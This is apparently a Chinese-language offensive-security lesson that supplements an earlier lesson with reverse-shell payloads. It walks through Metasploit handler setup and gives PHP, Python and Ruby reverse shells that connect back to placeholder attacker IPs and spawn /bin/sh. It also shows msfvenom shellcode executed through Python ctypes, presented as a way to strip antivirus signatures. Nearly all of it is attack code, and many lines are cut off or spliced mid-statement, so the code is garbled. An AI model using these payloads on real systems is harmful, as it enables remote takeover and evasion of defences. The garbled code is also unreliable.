第十四课：基于第十课补充payload1

在实战中可能会遇到各种诉求 payload，并且可能遇到各种实际问题，如杀毒软件，防火墙拦截，特定端口通道，隧道等问题。这里我们根据第十课补充其中部分，其他内容后续补充。

这次主要补充了 PHP，python，ruby。

ps:在线代码高亮：http://tool.oschina.net/highlight

1、php-payload

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.107
LHOST => 192.168.1.107

<?
php error_reporting(0); $ip = 'x.x.x.x'; $port = 53; if (($f = 'stream_socket_client') && is_callable($f)) {
{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_
strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('s
>

<?php
$sock=fsockopen("xx.xx.xx.xx",xx);exec("/bin/sh -i <&3 >&3 2>&3");
?>

2、python-payload

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.107
LHOST => 192.168.1.107

import socket,struct,time
for x in range(10):
    try:
        s=socket.socket(2,socket.SOCK_STREAM)
        s.connect(('x.x.x.x',xx))
        break
    except:
        time.sleep(5) l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))
exec(d,{'s':s})

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",xx));
i"]);

import socket import subprocess
s=socket.socket()
s.connect(("xx.xx.xx.xx",xx))
while 1:
  p = subprocess.Popen(s.recv(1024),
                      shell=True,
                      stdout=subprocess.PIPE,
                      stderr=subprocess.PIPE,
                      stdin=subprocess.send(p.stdout.read() + p.stderr.read()
                      )

删除特征：

root@John:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=8.8.8.8 LPORT=88 -f c | tr -d '"' | tr -d '\n'

from ctypes import *

reverse_shell = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72
micropoorshell = create_string_buffer(reverse_shell, len(reverse_shell))
shellcode = cast(micropoorshell, CFUNCTYPE(c_void_p))
shellcode()

2、ruby-payload

require 'socket';c=TCPSocket.new("xx.xx.xx.xx", x);$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdi
(IO.popen(l,"rb"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil}

require 'socket';f=TCPSocket.open("xx.xx.xx.xx",xx).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)

require 'socket';c=TCPSocket.new("xx.xx.xx.xx","xx");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end

c=TCPSocket.new("xx.xx.xx.xx","xx");while(cmd=c.gets);IO.popen(cmd,"r"){\|io\|c.print
io.read}end

--By Micropoor